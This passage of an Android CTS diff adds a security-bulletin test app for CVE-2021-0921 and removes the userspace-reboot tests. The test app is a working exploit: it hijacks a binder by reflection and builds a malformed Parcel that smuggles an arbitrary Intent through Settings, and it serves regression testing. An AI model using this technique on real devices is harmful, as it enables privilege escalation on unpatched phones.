throws RemoteException { + return null; + } + + @Override + public boolean pingBinder() { + return false; + } + + @Override + public boolean isBinderAlive() { + return false; + } + + @Override + public IInterface queryLocalInterface(String descriptor) { + return null; + } + + @Override + public void dump(FileDescriptor fd, String[] args) throws RemoteException { + } + + @Override + public void dumpAsync(FileDescriptor fd, String[] args) throws RemoteException { + } + + @Override + public boolean transact(int code, Parcel data, Parcel reply, int flags) throws RemoteException { + Log.d(TAG, "transact() start"); + if (code == TRANSACTION_onResult) { + Log.d(TAG, "transact() before parse"); + data.recycle(); + data = GenMalformedParcel.parsingPackageImplParcel(mIntent); + Log.d(TAG, "transact() end parse"); + } + Log.d(TAG, "transact() continue"); + mOriginRemote.transact(code, data, reply, flags); + Log.d(TAG, "transact() end"); + return true; + } + + @Override + public void linkToDeath(DeathRecipient recipient, int flags) throws RemoteException { + } + + @Override + public boolean unlinkToDeath(DeathRecipient recipient, int flags) { + return false; + } + }; + + public Authenticator(Context context) { + super(context); + Log.d(TAG, "Authenticator() constructor"); + } + + @Override + public String getAuthTokenLabel(String authTokenType) { + return null; + } + + @Override + public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) { + return null; + } + + @Override + public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account, + String authTokenType, Bundle options) { + return null; + } + + @Override + public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, + String authTokenType, String[] requiredFeatures, Bundle options) { + + Log.d(TAG, "addAccount() start"); + try { + Class AccountAuthenticatorResponseClass = Class.forName("android.accounts.AccountAuthenticatorResponse"); + @SuppressLint("SoonBlockedPrivateApi") + Field mAccountAuthenticatorResponseField = AccountAuthenticatorResponseClass.getDeclaredField("mAccountAuthenticatorResponse"); + mAccountAuthenticatorResponseField.setAccessible(true); + Object mAccountAuthenticatorResponse = mAccountAuthenticatorResponseField.get(response); + + Class stubClass = null; + for (Class inner : Class.forName("android.accounts.IAccountAuthenticatorResponse").getDeclaredClasses()) { + if (inner.getCanonicalName().equals("android.accounts.IAccountAuthenticatorResponse.Stub")) { + stubClass = inner; + break; + } + } + + Field TRANSACTION_onResultField = stubClass.getDeclaredField("TRANSACTION_onResult"); + TRANSACTION_onResultField.setAccessible(true); + TRANSACTION_onResult = TRANSACTION_onResultField.getInt(null); + + Class proxyClass = null; + for (Class inner : stubClass.getDeclaredClasses()) { + if (inner.getCanonicalName().equals("android.accounts.IAccountAuthenticatorResponse.Stub.Proxy")) { + proxyClass = inner; + break; + } + } + + Field mRemoteField = proxyClass.getDeclaredField("mRemote"); + mRemoteField.setAccessible(true); + mOriginRemote = (IBinder) mRemoteField.get(mAccountAuthenticatorResponse); + mRemoteField.set(mAccountAuthenticatorResponse, mProxyRemote); + } catch (Exception e) { + e.printStackTrace(); + } + Log.d(TAG, "addAccount() end"); + + return new Bundle(); + } + + @Override + public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account, Bundle options) { + return null; + } + + @Override + public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account, String authTokenType, Bundle options) { + return null; + } + + @Override + public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account, String[] features) { + return null; + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorActivity.java new file mode 100644 index 00000000000..41e30eb5ca0 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorActivity.java @@ -0,0 +1,31 @@ +package android.security.cts.CVE_2021_0921; + +import android.content.Context; +import android.app.Activity; +import android.os.Build; +import android.os.Bundle; +import android.util.Log; + +public class AuthenticatorActivity extends Activity { + + private static final String TAG = "TAG_2021_0921.AuthenticatorActivity"; + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + Log.d(TAG, "onCreate() start"); + setContentView(R.layout.activity_main); + new Trigger(AuthenticatorActivity.this).accountSettings(); + Log.d(TAG, "onCreate() end"); + } + + @Override + protected void onResume() { + super.onResume(); + this.finish(); + } +} + + + + diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorService.java new file mode 100644 index 00000000000..917056239bb --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorService.java @@ -0,0 +1,15 @@ +package android.security.cts.CVE_2021_0921; + +import android.app.Service; +import android.content.Intent; +import android.os.IBinder; + +public class AuthenticatorService extends Service { + public AuthenticatorService() { + } + + @Override + public IBinder onBind(Intent intent) { + return new Authenticator(this).getIBinder(); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java new file mode 100644 index 00000000000..bb6631ad9d0 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java @@ -0,0 +1,64 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0921; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.os.SystemClock; +import android.util.Log; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.UiDevice; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertFalse; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + private static final String TAG = "TAG_2021_0921.DeviceTest"; + private UiDevice mDevice; + + @Test + public void test() { + Log.d(TAG, "test() start"); + + //set mDevice and go to homescreen + mDevice = UiDevice.getInstance(getInstrumentation()); + mDevice.pressHome(); + Context context = getApplicationContext(); + String TEST_PACKAGE = "android.security.cts.CVE_2021_0921"; + PackageManager packageManager = context.getPackageManager(); + + //start poc app + Intent intent = packageManager.getLaunchIntentForPackage(TEST_PACKAGE); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + context.startActivity(intent); + + //wait for poc app to complete (it takes about 6 seconds) + SystemClock.sleep(20000); + + Log.d(TAG, "test() end"); + } +} + diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/GenMalformedParcel.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/GenMalformedParcel.java new file mode 100644 index 00000000000..5d337e3bca2 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/GenMalformedParcel.java @@ -0,0 +1,210 @@ +package android.security.cts.CVE_2021_0921; + +import android.accounts.AccountManager; +import android.content.Intent; +import android.os.Binder; +import android.os.Bundle; +import android.os.Parcel; +import android.util.Log; + +public class GenMalformedParcel { + + private static final String TAG = "TAG_2021_0921.GenMalformedParcel"; + + public static Parcel parsingPackageImplParcel(Intent intent) { + Log.d(TAG, "parsingPackageImplParcel() start"); + + Parcel data = Parcel.obtain(); + data.writeInterfaceToken("android.accounts.IAccountAuthenticatorResponse"); + data.writeInt(1); + int bundleLenPos = data.dataPosition(); + data.writeInt(0); + data.writeInt(0x4C444E42); + int bundleStartPos = data.dataPosition(); + data.writeInt(3); + + data.writeString("key1"); + data.writeInt(4); + data.writeString("android.content.pm.parsing.ParsingPackageImpl"); + + data.writeInt(0); // supportsSmallScreens + data.writeInt(0); // supportsNormalScreens + data.writeInt(0); // supportsLargeScreens + data.writeInt(0); // supportsExtraLargeScreens + data.writeInt(0); // resizeable + data.writeInt(0); // anyDensity + data.writeInt(0); // versionCode + data.writeInt(0); // versionCodeMajor + data.writeInt(0); // baseRevisionCode + data.writeString("versionName"); // versionName + data.writeInt(0); // compileSdkVersion + data.writeString("compileSdkVersionCodeName"); // compileSdkVersionCodeName + data.writeString("packageName"); // packageName + data.writeString("realPackage"); // realPackage + data.writeString("baseCodePath"); // baseCodePath + data.writeBoolean(false); // requiredForAllUsers + data.writeString("restrictedAccountType"); // restrictedAccountType + data.writeString("requiredAccountType"); // requiredAccountType + data.writeString("overlayTarget"); // overlayTarget + data.writeString("overlayTargetName"); // overlayTargetName + data.writeString("overlayCategory"); // overlayCategory + data.writeInt(0); // overlayPriority + data.writeBoolean(false); // overlayIsStatic + data.writeInt(0); // overlayables + data.writeString("staticSharedLibName"); // staticSharedLibName + data.writeLong(0); // staticSharedLibVersion + data.writeInt(0); // libraryNames + data.writeInt(0); // usesLibraries + data.writeInt(0); // usesOptionalLibraries + data.writeInt(0); // usesStaticLibraries + data.writeInt(0); // usesStaticLibrariesVersions + data.writeInt(0); // digestsSize + data.writeString("sharedUserId"); // sharedUserId + data.writeInt(0); // sharedUserLabel + data.writeInt(0); // configPreferences + data.writeInt(0); // reqFeatures + data.writeInt(0); // featureGroups + data.writeInt(0); // restrictUpdateHash + data.writeInt(0); // originalPackages + data.writeInt(0); // adoptPermissions + data.writeInt(0); // requestedPermissions + data.writeInt(0); // implicitPermissions + data.writeInt(0); // upgradeKeySets + data.writeInt(0); // keySetMapping + data.writeInt(0); // protectedBroadcasts + data.writeInt(0); // activities + data.writeInt(0); // receivers + data.writeInt(0); // services + data.writeInt(0); // providers + data.writeInt(0); // attributions + data.writeInt(0); // permissions + data.writeInt(0); // permissionGroups + data.writeInt(0); // instrumentations + data.writeInt(0); // preferredActivityFilters + data.writeInt(0); // processes + data.writeInt(0); // metaData + data.writeString("volumeUuid"); // volumeUuid + data.writeInt(-1); // signingDetails + data.writeString("codePath"); // codePath + data.writeBoolean(false); // use32BitAbi + data.writeBoolean(false); // visibleToInstantApps + data.writeBoolean(false); // forceQueryable + + data.writeInt(1); // queriesIntents + data.writeInt(0); // queriesIntents + + data.writeInt(0); // queriesPackages + data.writeInt(0); // queriesProviders + data.writeString(""); // appComponentFactory + data.writeString(""); // backupAgentName + data.writeInt(-1); // banner + data.writeInt(0); // category + data.writeString(""); // classLoaderName + data.writeString("className"); // className + data.writeInt(-1); // compatibleWidthLimitDp + data.writeInt(0); // descriptionRes + data.writeBoolean(false); // enabled + data.writeBoolean(false); // crossProfile + data.writeInt(0); // fullBackupContent + data.writeInt(0); // iconRes + data.writeInt(0); // installLocation + + data.writeInt(0); // labelRes -> queriesPackages + data.writeInt(0); // largestWidthLimitDp -> queriesProviders + data.writeInt(-1); // logo -> appComponentFactory + data.writeString("manageSpaceActivityName"); // manageSpaceActivityName -> backupAgentName + data.writeFloat(0); // maxAspectRatio -> banner + data.writeFloat(0); // minAspectRatio -> category + data.writeInt(-1); // minSdkVersion -> classLoaderName + data.writeInt(-1); // networkSecurityConfigRes -> className + data.writeInt(1); // nonLocalizedLabel -> compatibleWidthLimitDp + data.writeInt(-1); // nonLocalizedLabel -> descriptionRes + data.writeInt(-1); // permission -> enabled + data.writeInt(-1); // processName -> crossProfile + data.writeInt(0); // requiresSmallestWidthDp -> fullBackupContent + data.writeInt(0); // roundIconRes -> iconRes + data.writeInt(0); // targetSandboxVersion -> installLocation + data.writeInt(0); // targetSdkVersion -> labelRes + data.writeInt(-1); // taskAffinity -> largestWidthLimitDp + data.writeInt(0); // theme -> logo + data.writeInt(-1); // uiOptions -> manageSpaceActivityName + data.writeInt(-1); // zygotePreloadName -> maxAspectRatio + data.writeInt(0); // splitClassLoaderNames -> minAspectRatio + data.writeInt(0); // splitCodePaths -> minSdkVersion + data.writeInt(0); // splitDependencies -> networkSecurityConfigRes + data.writeInt(0); // splitFlags -> nonLocalizedLabel + data.writeInt(-1); // splitNames -> nonLocalizedLabel + data.writeInt(-1); // splitRevisionCodes -> permission + data.writeBoolean(false); // externalStorage -> processName + data.writeBoolean(false); // baseHardwareAccelerated -> processName + data.writeBoolean(true); // allowBackup -> requiresSmallestWidthDp + data.writeBoolean(false); // killAfterRestore -> roundIconRes + data.writeBoolean(false); // restoreAnyVersion -> targetSandboxVersion + data.writeBoolean(false); // fullBackupOnly -> targetSdkVersion + data.writeBoolean(false); // persistent -> taskAffinity + data.writeBoolean(false); // debuggable -> taskAffinity + data.writeBoolean(false); // vmSafeMode -> theme + data.writeBoolean(false); // hasCode -> uiOptions + data.writeBoolean(false); // allowTaskReparenting -> zygotePreloadName + data.writeBoolean(false); // allowClearUserData -> zygotePreloadName + data.writeBoolean(false); // largeHeap -> splitClassLoaderNames + data.writeBoolean(false); // usesCleartextTraffic -> splitCodePaths + data.writeBoolean(false); // supportsRtl -> splitDependencies + data.writeBoolean(false); // testOnly -> splitFlags + data.writeBoolean(false); // multiArch -> splitNames + data.writeBoolean(false); // extractNativeLibs -> splitRevisionCodes + data.writeBoolean(false); // game -> externalStorage + data.writeBoolean(false); // resizeableActivity -> baseHardwareAccelerated + data.writeBoolean(false); // staticSharedLibrary -> allowBackup + data.writeBoolean(false); // overlay -> killAfterRestore + data.writeBoolean(false); // isolatedSplitLoading -> restoreAnyVersion + data.writeBoolean(false); // hasDomainUrls -> fullBackupOnly + data.writeBoolean(false); // profileableByShell -> persistent + data.writeBoolean(false); // backupInForeground -> debuggable + data.writeBoolean(false); // useEmbeddedDex -> vmSafeMode + data.writeBoolean(false); // defaultToDeviceProtectedStorage -> hasCode + data.writeBoolean(false); // directBootAware -> allowTaskReparenting + data.writeBoolean(false); // partiallyDirectBootAware -> allowClearUserData + data.writeBoolean(false); // resizeableActivityViaSdkVersion -> largeHeap + data.writeBoolean(false); // allowClearUserDataOnFailedRestore -> usesCleartextTraffic + data.writeBoolean(false); // allowAudioPlaybackCapture -> supportsRtl + data.writeBoolean(false); // requestLegacyExternalStorage -> testOnly + data.writeBoolean(false); // usesNonSdkApi -> multiArch + data.writeBoolean(false); // hasFragileUserData -> extractNativeLibs + data.writeBoolean(false); // cantSaveState -> game + data.writeBoolean(false); // allowNativeHeapPointerTagging -> resizeableActivity + data.writeInt(0); // autoRevokePermissions -> staticSharedLibrary + data.writeBoolean(false); // preserveLegacyExternalStorage -> overlay + data.writeInt(0); // mimeGroups -> isolatedSplitLoading + data.writeInt(0); // gwpAsanMode -> hasDomainUrls + data.writeInt(0); // minExtensionVersions -> profileableByShell + + data.writeString("key2"); + data.writeInt(-1); + + data.writeString("key3"); + data.writeInt(13); + int byteArrayLenPos = data.dataPosition(); + data.writeInt(0); + int byteArrayStartPos = data.dataPosition(); + for (int i = 0; i < 7; i++) { + data.writeInt(0); + } + data.writeString(AccountManager.KEY_INTENT); + data.writeInt(4); + data.writeString("android.content.Intent"); + intent.writeToParcel(data, 0); + int byteArrayEndPos = data.dataPosition(); + data.setDataPosition(byteArrayLenPos); + int byteArrayLen = byteArrayEndPos - byteArrayStartPos; + data.writeInt(byteArrayLen); + data.setDataPosition(byteArrayEndPos); + int bundleEndPos = data.dataPosition(); + data.setDataPosition(bundleLenPos); + int bundleLen = bundleEndPos - bundleStartPos; + data.writeInt(bundleLen); + data.setDataPosition(bundleEndPos); + Log.d(TAG, "parsingPackageImplParcel() end"); + return data; + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/TestActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/TestActivity.java new file mode 100644 index 00000000000..5fe3acfc869 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/TestActivity.java @@ -0,0 +1,23 @@ +package android.security.cts.CVE_2021_0921; + +import android.content.Context; +import android.app.Activity; + +import android.os.Bundle; +import android.util.Log; +import org.junit.Assert; + +public class TestActivity extends Activity { + private static final String TAG = "TAG_2021_0921.TestActivity"; + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + Log.d(TAG, "onCreate() start"); + Assert.fail("Arbitrary intent executed. Device is vulnerable."); + } +} + + + + diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java new file mode 100644 index 00000000000..987b161766f --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java @@ -0,0 +1,41 @@ +package android.security.cts.CVE_2021_0921; + +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.ApplicationInfo; +import android.net.Uri; +import android.util.Log; + +import java.io.File; + +public class Trigger { + private static final String TAG = "TAG_2021_0921.Triggger"; + private Context mContext; + + public Trigger(Context context) { + mContext = context; + } + + public void accountSettings() { + Log.d(TAG, "accountSettings() start"); + + //replaces intent.setAction(Intent.ACTION_REBOOT) in original Poc + Intent arbitraryIntent = new Intent(mContext, TestActivity.class); + + //Patched device is not supposed to process that intent + Authenticator.mIntent = arbitraryIntent; + + Intent intent = new Intent(); + intent.setComponent(new ComponentName( + "com.android.settings", + "com.android.settings.accounts.AddAccountSettings")); + intent.setAction(Intent.ACTION_RUN); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + String authTypes[] = {"android.security.cts"}; + + intent.putExtra("account_types", authTypes); + mContext.startActivity(intent); + Log.d(TAG, "accountSettings() end"); + } +} diff --git a/hostsidetests/userspacereboot/Android.bp b/hostsidetests/userspacereboot/Android.bp deleted file mode 100644 index f64c740b6c6..00000000000 --- a/hostsidetests/userspacereboot/Android.bp +++ /dev/null @@ -1,38 +0,0 @@ -// Copyright (C) 2019 The Android Open Source Project -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package { - default_applicable_licenses: ["Android-Apache-2.0"], -} - -java_test_host { - name: "CtsUserspaceRebootHostSideTestCases", - defaults: ["cts_defaults"], - srcs: ["src/**/*.java"], - libs: [ - "cts-tradefed", - "tradefed", - "truth-prebuilt", - "hamcrest", - "hamcrest-library", - ], - data: [ - ":BasicUserspaceRebootTestApp", - ":BootCompletedUserspaceRebootTestApp", - ], - test_suites: [ - "cts", - "general-tests", - ], -} diff --git a/hostsidetests/userspacereboot/AndroidTest.xml b/hostsidetests/userspacereboot/AndroidTest.xml deleted file mode 100644 index 5df919ff937..00000000000 --- a/hostsidetests/userspacereboot/AndroidTest.xml +++ /dev/null @@ -1,26 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<!-- - ~ Copyright (C) 2019 The Android Open Source Project - ~ - ~ Licensed under the Apache License, Version 2.0 (the "License"); - ~ you may not use this file except in compliance with the License. - ~ You may obtain a copy of the License at - ~ - ~ http://www.apache.org/licenses/LICENSE-2.0 - ~ - ~ Unless required by applicable law or agreed to in writing, software - ~ distributed under the License is distributed on an "AS IS" BASIS, - ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - ~ See the License for the specific language governing permissions and - ~ limitations under the License. - --> -<configuration description="Runs userspace reboot CTS tests"> - <option name="test-suite-tag" value="cts" /> - <option name="config-descriptor:metadata" key="component" value="framework" /> - <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> - <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> - <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" /> - <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" > - <option name="class" value="com.android.cts.userspacereboot.host.UserspaceRebootHostTest" /> - </test> -</configuration> diff --git a/hostsidetests/userspacereboot/OWNERS b/hostsidetests/userspacereboot/OWNERS deleted file mode 100644 index 7d30d02b0a5..00000000000 --- a/hostsidetests/userspacereboot/OWNERS +++ /dev/null @@ -1,2 +0,0 @@ -dvander@google.com -ioffe@google.com diff --git a/hostsidetests/userspacereboot/TEST_MAPPING b/hostsidetests/userspacereboot/TEST_MAPPING deleted file mode 100644 index cf97bfae8d4..00000000000 --- a/hostsidetests/userspacereboot/TEST_MAPPING +++ /dev/null @@ -1,7 +0,0 @@ -{ - "presubmit" : [ - { - "name": "CtsUserspaceRebootHostSideTestCases" - } - ] -} diff --git a/hostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java b/hostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java deleted file mode 100755 index 4b903dc36b6..00000000000 --- a/hostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java +++ /dev/null @@ -1,380 +0,0 @@ -/* - * Copyright (C) 2019 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.android.cts.userspacereboot.host; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.common.truth.Truth.assertWithMessage; - -import static org.junit.Assume.assumeFalse; -import static org.junit.Assume.assumeTrue; - -import android.platform.test.annotations.RequiresDevice; - -import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; -import com.android.tradefed.util.CommandResult; -import com.android.tradefed.util.CommandStatus; - -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; - -import java.time.Duration; - -/** - * Host side CTS tests verifying userspace reboot functionality. - */ -@RequiresDevice -@RunWith(DeviceJUnit4ClassRunner.class) -public class UserspaceRebootHostTest extends BaseHostJUnit4Test { - - private static final String USERSPACE_REBOOT_SUPPORTED_PROP = - "init.userspace_reboot.is_supported"; - - private static final String BASIC_TEST_APP_APK = "BasicUserspaceRebootTestApp.apk"; - private static final String BASIC_TEST_APP_PACKAGE_NAME = - "com.android.cts.userspacereboot.basic"; - - private static final String BOOT_COMPLETED_TEST_APP_APK = - "BootCompletedUserspaceRebootTestApp.apk"; - private static final String BOOT_COMPLETED_TEST_APP_PACKAGE_NAME = - "com.android.cts.userspacereboot.bootcompleted"; - - private void runDeviceTest(String pkgName, String className, String testName) throws Exception { - runDeviceTests(pkgName, pkgName + "." + className, testName); - } - - private void runDeviceTest(String pkgName, String className, String testName, Duration timeout) - throws Exception { - runDeviceTests( - getDevice(), pkgName, pkgName + "." + className, testName, timeout.toMillis()); - } - - private void installApk(String apkFileName) throws Exception { - CompatibilityBuildHelper helper = new CompatibilityBuildHelper(getBuild()); - getDevice().installPackage(helper.getTestFile(apkFileName), false, true, - getDevice().isAppEnumerationSupported() - ? new String[]{"--force-queryable"} - : new String[]{}); - } - - /** - * Sets up device to run a test case. - */ - @Before - public void setUp() throws Exception { - getDevice().uninstallPackage(BASIC_TEST_APP_PACKAGE_NAME); - getDevice().uninstallPackage(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME); - } - - /** - * Cleans up device after a test case. - */ - @After - public void cleanUp() throws Exception { - getDevice().uninstallPackage(BASIC_TEST_APP_PACKAGE_NAME); - getDevice().uninstallPackage(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME); - getDevice().disableAdbRoot(); - } - - /** - * Asserts that only file-based encrypted devices can support userspace reboot. - */ - @Test - public void testOnlyFbeDevicesSupportUserspaceReboot() throws Exception { - assumeTrue("Userspace reboot not supported on the device", - getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false)); - assertThat(getDevice().getProperty("ro.crypto.state")).isEqualTo("encrypted"); - assertThat(getDevice().getProperty("ro.crypto.type")).isEqualTo("file"); - } - - /** - * Tests that on devices supporting userspace reboot {@code - * PowerManager.isRebootingUserspaceSupported()} returns {@code true}. - */ - @Test - public void testDeviceSupportsUserspaceReboot() throws Exception { - assumeTrue("Userspace reboot not supported on the device", - getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false)); - installApk(BASIC_TEST_APP_APK); - runDeviceTest(BASIC_TEST_APP_PACKAGE_NAME, "BasicUserspaceRebootTest", - "testUserspaceRebootIsSupported"); - } - - /** - * Tests that on devices not supporting userspace reboot {@code - * PowerManager.isRebootingUserspaceSupported()} returns {@code false}. - */ - @Test - public void testDeviceDoesNotSupportUserspaceReboot() throws Exception { - assumeFalse("Userspace reboot supported on the device", - getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false)); - installApk(BASIC_TEST_APP_APK); - // Also verify that PowerManager.isRebootingUserspaceSupported will return true - runDeviceTest(BASIC_TEST_APP_PACKAGE_NAME, "BasicUserspaceRebootTest", - "testUserspaceRebootIsNotSupported"); - } - - /** - * Tests that userspace reboot succeeds and doesn't fall back to full reboot. - */ - @Test - public void testUserspaceReboot() throws Exception { - assumeTrue("Userspace reboot not supported on the device", - getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false)); - rebootUserspaceAndWaitForBootComplete(); - assertUserspaceRebootSucceed(); - } - - /** - * Tests that userspace reboot with fs-checkpointing succeeds and doesn't fall back to full - * reboot. - */ - @Test - public void testUserspaceRebootWithCheckpoint() throws Exception { - assumeTrue("Userspace reboot not supported on the device", - getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false)); - assumeTrue("Device doesn't support fs checkpointing", isFsCheckpointingSupported()); - CommandResult result = getDevice().executeShellV2Command("sm start-checkpoint 1"); - Thread.sleep(500); - assertWithMessage("Failed to start checkpoint : %s", result.getStderr()).that( - result.getStatus()).isEqualTo(CommandStatus.SUCCESS); - rebootUserspaceAndWaitForBootComplete(); - assertUserspaceRebootSucceed(); - } - - /** - * Tests that CE storage is unlocked after userspace reboot. - */ - @Test - public void testUserspaceReboot_verifyCeStorageIsUnlocked() throws Exception { - assumeTrue("Userspace reboot not supported on the device", - getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false)); - try { - getDevice().executeShellV2Command("cmd lock_settings set-pin 1543"); - installApk(BOOT_COMPLETED_TEST_APP_APK); - installApk(BASIC_TEST_APP_APK); - - prepareForCeTestCases(); - - rebootUserspaceAndWaitForBootComplete(); - assertUserspaceRebootSucceed(); - - // Now it's time to verify our assumptions. - runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest", - "testVerifyCeStorageUnlocked"); - runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest", - "testVerifyReceivedLockedBootCompletedBroadcast", Duration.ofMinutes(3)); - runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest", - "testVerifyReceivedBootCompletedBroadcast", Duration.ofMinutes(6)); - } finally { - getDevice().executeShellV2Command("cmd lock_settings clear --old 1543"); - getDevice().executeShellV2Command("reboot"); - } - } - - /** - * Tests that CE storage is unlocked after userspace reboot with fs-checkpointing. - */ - @Test - public void testUserspaceRebootWithCheckpoint_verifyCeStorageIsUnlocked() throws Exception { - assumeTrue("Userspace reboot not supported on the device", - getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false)); - assumeTrue("Device doesn't support fs checkpointing", isFsCheckpointingSupported()); - try { - CommandResult result = getDevice().executeShellV2Command("sm start-checkpoint 1"); - Thread.sleep(500); - assertWithMessage("Failed to start checkpoint : %s", result.getStderr()).that( - result.getStatus()).isEqualTo(CommandStatus.SUCCESS); - - getDevice().executeShellV2Command("cmd lock_settings set-pin 1543"); - installApk(BOOT_COMPLETED_TEST_APP_APK); - installApk(BASIC_TEST_APP_APK); - - prepareForCeTestCases(); - - rebootUserspaceAndWaitForBootComplete(); - assertUserspaceRebootSucceed(); - runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest", - "testVerifyCeStorageUnlocked"); - runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest", - "testVerifyReceivedLockedBootCompletedBroadcast", Duration.ofMinutes(3)); - runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest", - "testVerifyReceivedBootCompletedBroadcast", Duration.ofMinutes(6)); - } finally { - getDevice().executeShellV2Command("cmd lock_settings clear --old 1543"); - getDevice().executeShellV2Command("reboot"); - } - } - - private void prepareForCeTestCases() throws Exception { - runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest", - "prepareFile"); - runDeviceTest(BASIC_TEST_APP_PACKAGE_NAME, 